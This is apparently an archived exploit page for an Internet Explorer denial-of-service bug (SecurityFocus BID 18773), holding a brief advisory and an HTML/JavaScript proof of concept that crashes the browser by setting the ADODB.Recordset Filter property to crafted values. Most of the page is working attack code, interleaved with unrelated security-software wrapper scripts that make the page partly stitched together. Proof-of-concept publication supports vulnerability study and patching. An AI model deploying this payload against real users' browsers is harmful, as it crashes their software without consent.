74 lines
No EOL
1.4 KiB
HTML
74 lines
No EOL
1.4 KiB
HTML
source: https://www.securityfocus.com/bid/18773/info
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Microsoft Internet Explorer is prone to a denial-of-service condition when processing the 'ADODB.Recordset Filter Property' COM object.
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A successful attack may cause the browser to fail due to a null-pointer dereference.
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# Microsoft Internet Explorer ADODB.Recordset Filter Property poc
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<script language="JavaScript">
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<!--
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function SymError()
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{
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return true;
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}
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window.onerror = SymError;
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var SymRealWinOpen = window.open;
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function SymWinOpen(url, name, attributes)
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{
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return (new Object());
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}
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window.open = SymWinOpen;
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//-->
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</script>
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<script>
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// MoBB Demonstration
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function Demo() {
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a = new ActiveXObject('ADODB.Recordset');
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try { a.Filter = "AAAA" } catch(e) { }
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try { a.Filter = "BBBB" } catch(e) { }
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try { a.Filter = 0x7ffffffe; } catch(e) { }
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}
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</script>
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Clicking the button below may crash your browser!<br><br>
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<input type='button' onClick='Demo()' value='Start Demo!'>
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</body></html>
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<script language="JavaScript">
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<!--
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var SymRealOnLoad;
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var SymRealOnUnload;
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function SymOnUnload()
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{
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window.open = SymWinOpen;
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if(SymRealOnUnload != null)
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SymRealOnUnload();
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}
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function SymOnLoad()
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{
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if(SymRealOnLoad != null)
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SymRealOnLoad();
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window.open = SymRealWinOpen;
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SymRealOnUnload = window.onunload;
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window.onunload = SymOnUnload;
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}
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SymRealOnLoad = window.onload;
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window.onload = SymOnLoad;
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//-->
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</script> |